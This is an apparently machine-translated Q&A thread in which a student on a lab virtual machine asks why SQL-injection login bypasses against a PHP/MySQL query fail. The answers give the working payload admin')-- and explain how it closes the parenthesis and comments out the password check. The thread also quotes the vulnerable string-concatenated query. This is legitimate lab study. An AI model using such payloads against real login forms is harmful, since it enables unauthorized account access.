2017-04-09 74 views
0

我們正在研究班級的實驗室,我似乎無法找到我缺少的東西。下面的代碼是一個SQL查詢來驗證用戶:SQL注入問題

$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, 
    FROM USERS_TABLE 
    WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 
    $chk = mysql_fetch_array($sel1); 
    if (found one record) 
    then {allow the user to login} 

我們應該找到一個對SQL注入漏洞,我認爲在於:

WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 

要利用它,我們基本上應該使用一個非常通用的用戶名和密碼錶單登錄到網站上的管理員配置文件。給定的信息是我們知道配置文件的名稱是admin。我們只能在網站上使用用戶名輸入。

閱讀以下文章Security Idiots和書中的一節格魯吉亞魏德曼滲透測試動手入門介紹。這些都是一些我試過的東西:

  • 管理員OR 1--
  • 管理 ' -
  • 管理' 和1 = 1--

和更多的變化這個。我的理解是,我正在選擇管理配置文件,並使用「'」完成該部分,然後強制真實並殺死該行上的其餘代碼。但是,沒有任何我嘗試似乎正在工作。

同樣重要的是要注意,在本實驗中,我們有特殊配置的虛擬機,允許此攻擊行得通。

所以我在正確的軌道上,或者我不理解SQL注入攻擊背後的邏輯。我不一定在尋找什麼是我正在尋找的代碼,但我擔心我走錯了方向,錯過了一些東西。

任何幫助,非常感謝。我會很樂意詳細說明任何事情。 謝謝。

+0

試試'管理') - '你也確定在問題中的SQL是正確的嗎?'性別,FROM USERS_TABLE'在'FROM'之前不應該有逗號 –

+0

不幸的是,該用戶名條目中沒有骰子。而且我最初從我們的實驗室指令中複製了這些代碼,但實際上它並不是來自文件本身,因此可能會從指令中輸入錯誤。我們沒有給出文件位置。這會影響漏洞利用嗎?代碼必須可操作,因爲有多名學生根據Dropbox提交的內容完成了代碼。所以如果沒有應該是一個逗號,我想在文件中它不存在。 – Codey

+0

在FROM之前有逗號是SQL錯誤。但既然你確定代碼正在工作,也許它只是一個錯字。 –

回答

0

感謝Azi指出空間問題。

這裏應該破解SQL你是

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = '$user' OR email = '$user') AND pass = '$pass' 

任何admin' OR 1--admin'--admin' AND 1=1--是行不通的,因爲當user變量被這些輸入取代的語句成爲

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin' OR 1-- ' OR email = '$user') AND pass = '$pass' 

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin'-- ' OR email = ’$user’) AND pass = ’$pass’ 

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin' AND 1=1-- ' OR email = ’$user’) AND pass = ’$pass’ 

所有其中有句法錯誤自打開支架(未關閉

當你給admin'--(在你輸入的結尾給人的空間是很重要的)輸入語句變成

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin')-- ' OR email = ’$user’) AND pass = ’$pass’" 

的SQL沒有語法錯誤,並選擇具有名稱作爲管理員的記錄。

+0

@Azi謝謝你指出空間問題。當第一次嘗試Arun'admin') - '時,這一定是我的問題。我感謝大家的所有反饋。 – Codey